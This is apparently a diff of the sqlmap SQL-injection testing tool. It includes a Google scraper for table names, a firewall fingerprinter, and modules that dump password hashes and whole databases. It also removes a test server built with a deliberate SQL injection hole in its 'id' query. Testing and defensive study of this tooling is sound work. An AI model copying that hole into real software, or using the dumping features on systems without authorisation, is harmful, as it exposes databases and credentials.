# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
import codecs
|
||||
import inspect
|
||||
import os
|
||||
import re
|
||||
import smtplib
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import traceback
|
||||
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
|
||||
sys.path.append(os.path.normpath("%s/../../" % os.path.dirname(inspect.getfile(inspect.currentframe()))))
|
||||
|
||||
from lib.core.revision import getRevisionNumber
|
||||
|
||||
START_TIME = time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())
|
||||
SQLMAP_HOME = "/opt/sqlmap"
|
||||
|
||||
SMTP_SERVER = "127.0.0.1"
|
||||
SMTP_PORT = 25
|
||||
SMTP_TIMEOUT = 30
|
||||
FROM = "regressiontest@sqlmap.org"
|
||||
# TO = "dev@sqlmap.org"
|
||||
TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"]
|
||||
SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
|
||||
TARGET = "debian"
|
||||
|
||||
def prepare_email(content):
|
||||
global FROM
|
||||
global TO
|
||||
global SUBJECT
|
||||
|
||||
msg = MIMEMultipart()
|
||||
msg["Subject"] = SUBJECT
|
||||
msg["From"] = FROM
|
||||
msg["To"] = TO if isinstance(TO, basestring) else ','.join(TO)
|
||||
|
||||
msg.attach(MIMEText(content))
|
||||
|
||||
return msg
|
||||
|
||||
def send_email(msg):
|
||||
global SMTP_SERVER
|
||||
global SMTP_PORT
|
||||
global SMTP_TIMEOUT
|
||||
|
||||
try:
|
||||
s = smtplib.SMTP(host=SMTP_SERVER, port=SMTP_PORT, timeout=SMTP_TIMEOUT)
|
||||
s.sendmail(FROM, TO, msg.as_string())
|
||||
s.quit()
|
||||
# Catch all for SMTP exceptions
|
||||
except smtplib.SMTPException, e:
|
||||
print "Failure to send email: %s" % str(e)
|
||||
|
||||
def failure_email(msg):
|
||||
msg = prepare_email(msg)
|
||||
send_email(msg)
|
||||
sys.exit(1)
|
||||
|
||||
def main():
|
||||
global SUBJECT
|
||||
|
||||
content = ""
|
||||
test_counts = []
|
||||
attachments = {}
|
||||
|
||||
updateproc = subprocess.Popen("cd /opt/sqlmap/ ; python /opt/sqlmap/sqlmap.py --update", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
stdout, stderr = updateproc.communicate()
|
||||
|
||||
if stderr:
|
||||
failure_email("Update of sqlmap failed with error:\n\n%s" % stderr)
|
||||
|
||||
regressionproc = subprocess.Popen("python /opt/sqlmap/sqlmap.py --live-test", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False)
|
||||
stdout, stderr = regressionproc.communicate()
|
||||
|
||||
if stderr:
|
||||
failure_email("Execution of regression test failed with error:\n\n%s" % stderr)
|
||||
|
||||
failed_tests = re.findall(r"running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
|
||||
|
||||
for failed_test in failed_tests:
|
||||
title = failed_test[0]
|
||||
test_count = int(failed_test[1])
|
||||
parse = failed_test[3] if failed_test[3] else None
|
||||
output_folder = failed_test[4]
|
||||
traceback = False if failed_test[5] == "False" else bool(failed_test[5])
|
||||
detected = False if failed_test[6] else True
|
||||
|
||||
test_counts.append(test_count)
|
||||
|
||||
console_output_file = os.path.join(output_folder, "console_output")
|
||||
log_file = os.path.join(output_folder, TARGET, "log")
|
||||
traceback_file = os.path.join(output_folder, "traceback")
|
||||
|
||||
if os.path.exists(console_output_file):
|
||||
console_output_fd = codecs.open(console_output_file, "rb", "utf8")
|
||||
console_output = console_output_fd.read()
|
||||
console_output_fd.close()
|
||||
attachments[test_count] = str(console_output)
|
||||
|
||||
if os.path.exists(log_file):
|
||||
log_fd = codecs.open(log_file, "rb", "utf8")
|
||||
log = log_fd.read()
|
||||
log_fd.close()
|
||||
|
||||
if os.path.exists(traceback_file):
|
||||
traceback_fd = codecs.open(traceback_file, "rb", "utf8")
|
||||
traceback = traceback_fd.read()
|
||||
traceback_fd.close()
|
||||
|
||||
content += "Failed test case '%s' (#%d)" % (title, test_count)
|
||||
|
||||
if parse:
|
||||
content += " at parsing: %s:\n\n" % parse
|
||||
content += "### Log file:\n\n"
|
||||
content += "%s\n\n" % log
|
||||
elif not detected:
|
||||
content += " - SQL injection not detected\n\n"
|
||||
else:
|
||||
content += "\n\n"
|
||||
|
||||
if traceback:
|
||||
content += "### Traceback:\n\n"
|
||||
content += "%s\n\n" % str(traceback)
|
||||
|
||||
content += "#######################################################################\n\n"
|
||||
|
||||
end_string = "Regression test finished at %s" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())
|
||||
|
||||
if content:
|
||||
content += end_string
|
||||
SUBJECT = "Failed %s (%s)" % (SUBJECT, ", ".join("#%d" % count for count in test_counts))
|
||||
|
||||
msg = prepare_email(content)
|
||||
|
||||
for test_count, attachment in attachments.items():
|
||||
attachment = MIMEText(attachment)
|
||||
attachment.add_header("Content-Disposition", "attachment", filename="test_case_%d_console_output.txt" % test_count)
|
||||
msg.attach(attachment)
|
||||
|
||||
send_email(msg)
|
||||
else:
|
||||
SUBJECT = "Successful %s" % SUBJECT
|
||||
msg = prepare_email("All test cases were successful\n\n%s" % end_string)
|
||||
send_email(msg)
|
||||
|
||||
if __name__ == "__main__":
|
||||
log_fd = open("/tmp/sqlmapregressiontest.log", "wb")
|
||||
log_fd.write("Regression test started at %s\n" % START_TIME)
|
||||
|
||||
try:
|
||||
main()
|
||||
except Exception, e:
|
||||
log_fd.write("An exception has occurred:\n%s" % str(traceback.format_exc()))
|
||||
|
||||
log_fd.write("Regression test finished at %s\n\n" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()))
|
||||
log_fd.close()
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
141
extra/sqlharvest/sqlharvest.py
Normal file
141
extra/sqlharvest/sqlharvest.py
Normal file
@@ -0,0 +1,141 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import cookielib
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import urllib
|
||||
import urllib2
|
||||
import ConfigParser
|
||||
|
||||
from operator import itemgetter
|
||||
|
||||
TIMEOUT = 10
|
||||
CONFIG_FILE = 'sqlharvest.cfg'
|
||||
TABLES_FILE = 'tables.txt'
|
||||
USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)'
|
||||
SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic'
|
||||
MAX_FILE_SIZE = 2 * 1024 * 1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it
|
||||
QUERY = 'CREATE TABLE ext:sql'
|
||||
REGEX_URLS = r';u=([^"]+?)&q='
|
||||
REGEX_RESULT = r'(?i)CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P<result>[^\(;]+)'
|
||||
|
||||
def main():
|
||||
tables = dict()
|
||||
cookies = cookielib.CookieJar()
|
||||
cookie_processor = urllib2.HTTPCookieProcessor(cookies)
|
||||
opener = urllib2.build_opener(cookie_processor)
|
||||
opener.addheaders = [("User-Agent", USER_AGENT)]
|
||||
|
||||
conn = opener.open(SEARCH_URL)
|
||||
page = conn.read() # set initial cookie values
|
||||
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(CONFIG_FILE)
|
||||
|
||||
if not config.has_section("options"):
|
||||
config.add_section("options")
|
||||
if not config.has_option("options", "index"):
|
||||
config.set("options", "index", "0")
|
||||
|
||||
i = int(config.get("options", "index"))
|
||||
|
||||
try:
|
||||
with open(TABLES_FILE, 'r') as f:
|
||||
for line in f.xreadlines():
|
||||
if len(line) > 0 and ',' in line:
|
||||
temp = line.split(',')
|
||||
tables[temp[0]] = int(temp[1])
|
||||
except:
|
||||
pass
|
||||
|
||||
socket.setdefaulttimeout(TIMEOUT)
|
||||
|
||||
files, old_files = None, None
|
||||
try:
|
||||
while True:
|
||||
abort = False
|
||||
old_files = files
|
||||
files = []
|
||||
|
||||
try:
|
||||
conn = opener.open("%s&q=%s&start=%d&sa=N" % (SEARCH_URL, QUERY.replace(' ', '+'), i * 10))
|
||||
page = conn.read()
|
||||
for match in re.finditer(REGEX_URLS, page):
|
||||
files.append(urllib.unquote(match.group(1)))
|
||||
if len(files) >= 10:
|
||||
break
|
||||
abort = (files == old_files)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
|
||||
except Exception, msg:
|
||||
print msg
|
||||
|
||||
if abort:
|
||||
break
|
||||
|
||||
sys.stdout.write("\n---------------\n")
|
||||
sys.stdout.write("Result page #%d\n" % (i + 1))
|
||||
sys.stdout.write("---------------\n")
|
||||
|
||||
for sqlfile in files:
|
||||
print sqlfile
|
||||
|
||||
try:
|
||||
req = urllib2.Request(sqlfile)
|
||||
response = urllib2.urlopen(req)
|
||||
|
||||
if "Content-Length" in response.headers:
|
||||
if int(response.headers.get("Content-Length")) > MAX_FILE_SIZE:
|
||||
continue
|
||||
|
||||
page = response.read()
|
||||
found = False
|
||||
counter = 0
|
||||
|
||||
for match in re.finditer(REGEX_RESULT, page):
|
||||
counter += 1
|
||||
table = match.group("result").strip().strip("`\"'").replace('"."', ".").replace("].[", ".").strip('[]')
|
||||
|
||||
if table and not any(_ in table for _ in ('>', '<', '--', ' ')):
|
||||
found = True
|
||||
sys.stdout.write('*')
|
||||
|
||||
if table in tables:
|
||||
tables[table] += 1
|
||||
else:
|
||||
tables[table] = 1
|
||||
if found:
|
||||
sys.stdout.write("\n")
|
||||
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
|
||||
except Exception, msg:
|
||||
print msg
|
||||
|
||||
else:
|
||||
i += 1
|
||||
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
finally:
|
||||
with open(TABLES_FILE, 'w+') as f:
|
||||
tables = sorted(tables.items(), key=itemgetter(1), reverse=True)
|
||||
for table, count in tables:
|
||||
f.write("%s,%d\n" % (table, count))
|
||||
|
||||
config.set("options", "index", str(i + 1))
|
||||
with open(CONFIG_FILE, 'w+') as f:
|
||||
config.write(f)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,174 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
|
||||
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import re
|
||||
import sqlite3
|
||||
import sys
|
||||
import threading
|
||||
import traceback
|
||||
|
||||
if sys.version_info >= (3, 0):
|
||||
from http.client import FOUND
|
||||
from http.client import INTERNAL_SERVER_ERROR
|
||||
from http.client import NOT_FOUND
|
||||
from http.client import OK
|
||||
from http.server import BaseHTTPRequestHandler
|
||||
from http.server import HTTPServer
|
||||
from socketserver import ThreadingMixIn
|
||||
from urllib.parse import parse_qs
|
||||
from urllib.parse import unquote_plus
|
||||
else:
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||
from BaseHTTPServer import HTTPServer
|
||||
from httplib import FOUND
|
||||
from httplib import INTERNAL_SERVER_ERROR
|
||||
from httplib import NOT_FOUND
|
||||
from httplib import OK
|
||||
from SocketServer import ThreadingMixIn
|
||||
from urlparse import parse_qs
|
||||
from urllib import unquote_plus
|
||||
|
||||
SCHEMA = """
|
||||
CREATE TABLE users (
|
||||
id INTEGER,
|
||||
name TEXT,
|
||||
surname TEXT
|
||||
);
|
||||
INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');
|
||||
INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');
|
||||
INSERT INTO users (id, name, surname) VALUES (3, 'wu', '179ad45c6ce2cb97cf1029e212046e81');
|
||||
INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (http://sqlmap.org)', 'user agent header');
|
||||
INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
|
||||
"""
|
||||
|
||||
LISTEN_ADDRESS = "localhost"
|
||||
LISTEN_PORT = 8440
|
||||
|
||||
_conn = None
|
||||
_cursor = None
|
||||
_lock = None
|
||||
_server = None
|
||||
|
||||
def init(quiet=False):
|
||||
global _conn
|
||||
global _cursor
|
||||
global _lock
|
||||
|
||||
_conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False)
|
||||
_cursor = _conn.cursor()
|
||||
_lock = threading.Lock()
|
||||
|
||||
_cursor.executescript(SCHEMA)
|
||||
|
||||
if quiet:
|
||||
global print
|
||||
|
||||
def _(*args, **kwargs):
|
||||
pass
|
||||
|
||||
print = _
|
||||
|
||||
class ThreadingServer(ThreadingMixIn, HTTPServer):
|
||||
def finish_request(self, *args, **kwargs):
|
||||
try:
|
||||
HTTPServer.finish_request(self, *args, **kwargs)
|
||||
except Exception:
|
||||
traceback.print_exc()
|
||||
|
||||
class ReqHandler(BaseHTTPRequestHandler):
|
||||
def do_REQUEST(self):
|
||||
path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
|
||||
params = {}
|
||||
|
||||
if query:
|
||||
params.update(parse_qs(query))
|
||||
|
||||
if "<script>" in unquote_plus(query):
|
||||
self.send_response(INTERNAL_SERVER_ERROR)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8"))
|
||||
return
|
||||
|
||||
if hasattr(self, "data"):
|
||||
params.update(parse_qs(self.data))
|
||||
|
||||
for key in params:
|
||||
if params[key]:
|
||||
params[key] = params[key][-1]
|
||||
|
||||
self.url, self.params = path, params
|
||||
|
||||
if self.url == '/':
|
||||
if "id" not in params:
|
||||
self.send_response(FOUND)
|
||||
self.send_header("Connection", "close")
|
||||
self.send_header("Location", "/?id=1")
|
||||
self.end_headers()
|
||||
else:
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
try:
|
||||
with _lock:
|
||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", ""))
|
||||
results = _cursor.fetchall()
|
||||
|
||||
output = "<b>SQL results:</b>\n"
|
||||
output += "<table border=\"1\">\n"
|
||||
for row in results:
|
||||
output += "<tr>"
|
||||
for value in row:
|
||||
output += "<td>%s</td>" % value
|
||||
output += "</tr>\n"
|
||||
output += "</table>\n"
|
||||
output += "</body></html>"
|
||||
except Exception as ex:
|
||||
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
|
||||
|
||||
self.wfile.write(output.encode("utf8"))
|
||||
else:
|
||||
self.send_response(NOT_FOUND)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
|
||||
def do_GET(self):
|
||||
self.do_REQUEST()
|
||||
|
||||
def do_POST(self):
|
||||
length = int(self.headers.get("Content-length", 0))
|
||||
if length:
|
||||
data = self.rfile.read(length)
|
||||
data = unquote_plus(data.decode("utf8"))
|
||||
self.data = data
|
||||
self.do_REQUEST()
|
||||
|
||||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
|
||||
global _server
|
||||
try:
|
||||
_server = ThreadingServer((address, port), ReqHandler)
|
||||
print("[i] running HTTP server at '%s:%d'" % (address, port))
|
||||
_server.serve_forever()
|
||||
except KeyboardInterrupt:
|
||||
_server.socket.close()
|
||||
raise
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
init()
|
||||
run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS, int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT))
|
||||
except KeyboardInterrupt:
|
||||
print("\r[x] Ctrl-C received")
|
||||
8
extra/wafdetectify/__init__.py
Normal file
8
extra/wafdetectify/__init__.py
Normal file
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
119
extra/wafdetectify/wafdetectify.py
Normal file
119
extra/wafdetectify/wafdetectify.py
Normal file
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import cookielib
|
||||
import glob
|
||||
import httplib
|
||||
import inspect
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import urllib2
|
||||
|
||||
sys.dont_write_bytecode = True
|
||||
|
||||
NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)"
|
||||
TIMEOUT = 10
|
||||
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"}
|
||||
SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
|
||||
SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf")
|
||||
LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"}
|
||||
CACHE = {}
|
||||
WAF_FUNCTIONS = []
|
||||
|
||||
def get_page(get=None, url=None, host=None, data=None):
|
||||
key = (get, url, host, data)
|
||||
|
||||
if key in CACHE:
|
||||
return CACHE[key]
|
||||
|
||||
page, headers, code = None, {}, httplib.OK
|
||||
|
||||
url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1])
|
||||
if not url.startswith("http"):
|
||||
url = "http://%s" % url
|
||||
|
||||
try:
|
||||
req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS)
|
||||
conn = urllib2.urlopen(req, timeout=TIMEOUT)
|
||||
page = conn.read()
|
||||
headers = conn.info()
|
||||
except Exception, ex:
|
||||
code = getattr(ex, "code", None)
|
||||
page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
|
||||
headers = ex.info() if hasattr(ex, "info") else {}
|
||||
|
||||
result = CACHE[key] = page, headers, code
|
||||
|
||||
return result
|
||||
|
||||
def colorize(message):
|
||||
if not subprocess.mswindows and sys.stdout.isatty():
|
||||
message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message)
|
||||
message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m")
|
||||
message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME)
|
||||
|
||||
return message
|
||||
|
||||
def main():
|
||||
global WAF_FUNCTIONS
|
||||
|
||||
print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1]))
|
||||
|
||||
cookie_jar = cookielib.CookieJar()
|
||||
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
sys.path.insert(0, SQLMAP_DIR)
|
||||
|
||||
for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")):
|
||||
dirname, filename = os.path.split(found)
|
||||
dirname = os.path.abspath(dirname)
|
||||
|
||||
if filename == "__init__.py":
|
||||
continue
|
||||
|
||||
if dirname not in sys.path:
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
try:
|
||||
if filename[:-3] in sys.modules:
|
||||
del sys.modules[filename[:-3]]
|
||||
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8"))
|
||||
except ImportError, msg:
|
||||
exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg)))
|
||||
|
||||
_ = dict(inspect.getmembers(module))
|
||||
if "detect" not in _:
|
||||
exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found))
|
||||
else:
|
||||
WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3])))
|
||||
|
||||
WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower())
|
||||
|
||||
print colorize("[i] %d WAF scripts loaded" % len(WAF_FUNCTIONS))
|
||||
|
||||
found = False
|
||||
for function, product in WAF_FUNCTIONS:
|
||||
if found and "unknown" in product.lower():
|
||||
continue
|
||||
|
||||
if function(get_page):
|
||||
print colorize("[!] WAF/IPS identified as '%s'" % product)
|
||||
found = True
|
||||
|
||||
if not found:
|
||||
print colorize("[o] nothing found")
|
||||
|
||||
print
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -72,13 +72,10 @@ def action():
|
||||
if conf.getUsers:
|
||||
conf.dumper.users(conf.dbmsHandler.getUsers())
|
||||
|
||||
if conf.getStatements:
|
||||
conf.dumper.statements(conf.dbmsHandler.getStatements())
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
|
||||
except SqlmapNoneDataException as ex:
|
||||
except SqlmapNoneDataException, ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
@@ -86,7 +83,7 @@ def action():
|
||||
if conf.getPrivileges:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
|
||||
except SqlmapNoneDataException as ex:
|
||||
except SqlmapNoneDataException, ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
@@ -94,93 +91,43 @@ def action():
|
||||
if conf.getRoles:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
|
||||
except SqlmapNoneDataException as ex:
|
||||
except SqlmapNoneDataException, ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
|
||||
if conf.getDbs:
|
||||
try:
|
||||
conf.dumper.dbs(conf.dbmsHandler.getDbs())
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
conf.dumper.dbs(conf.dbmsHandler.getDbs())
|
||||
|
||||
if conf.getTables:
|
||||
try:
|
||||
conf.dumper.dbTables(conf.dbmsHandler.getTables())
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
conf.dumper.dbTables(conf.dbmsHandler.getTables())
|
||||
|
||||
if conf.commonTables:
|
||||
try:
|
||||
conf.dumper.dbTables(tableExists(paths.COMMON_TABLES))
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
conf.dumper.dbTables(tableExists(paths.COMMON_TABLES))
|
||||
|
||||
if conf.getSchema:
|
||||
try:
|
||||
conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA)
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA)
|
||||
|
||||
if conf.getColumns:
|
||||
try:
|
||||
conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS)
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS)
|
||||
|
||||
if conf.getCount:
|
||||
try:
|
||||
conf.dumper.dbTablesCount(conf.dbmsHandler.getCount())
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
conf.dumper.dbTablesCount(conf.dbmsHandler.getCount())
|
||||
|
||||
if conf.commonColumns:
|
||||
try:
|
||||
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS))
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS))
|
||||
|
||||
if conf.dumpTable:
|
||||
try:
|
||||
conf.dbmsHandler.dumpTable()
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
conf.dbmsHandler.dumpTable()
|
||||
|
||||
if conf.dumpAll:
|
||||
try:
|
||||
conf.dbmsHandler.dumpAll()
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
conf.dbmsHandler.dumpAll()
|
||||
|
||||
if conf.search:
|
||||
try:
|
||||
conf.dbmsHandler.search()
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
raise
|
||||
conf.dbmsHandler.search()
|
||||
|
||||
if conf.sqlQuery:
|
||||
conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery))
|
||||
if conf.query:
|
||||
conf.dumper.query(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
|
||||
|
||||
if conf.sqlShell:
|
||||
conf.dbmsHandler.sqlShell()
|
||||
|
||||
@@ -1,17 +1,20 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import copy
|
||||
import httplib
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
|
||||
from extra.beep.beep import beep
|
||||
@@ -19,7 +22,6 @@ from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import extractTextTagContent
|
||||
from lib.core.common import filterNone
|
||||
from lib.core.common import findDynamicContent
|
||||
from lib.core.common import Format
|
||||
from lib.core.common import getFilteredPageContent
|
||||
@@ -27,10 +29,12 @@ from lib.core.common import getLastRequestHTTPError
|
||||
from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import getSortedInjectionTests
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import intersect
|
||||
from lib.core.common import listToStrValue
|
||||
from lib.core.common import openFile
|
||||
from lib.core.common import parseFilePaths
|
||||
from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
@@ -41,15 +45,17 @@ from lib.core.common import showStaticWords
|
||||
from lib.core.common import singleTimeLogMessage
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.common import wasLastResponseDBMSError
|
||||
from lib.core.common import wasLastResponseHTTPError
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.convert import unicodeencode
|
||||
from lib.core.defaults import defaults
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.datatype import InjectionDict
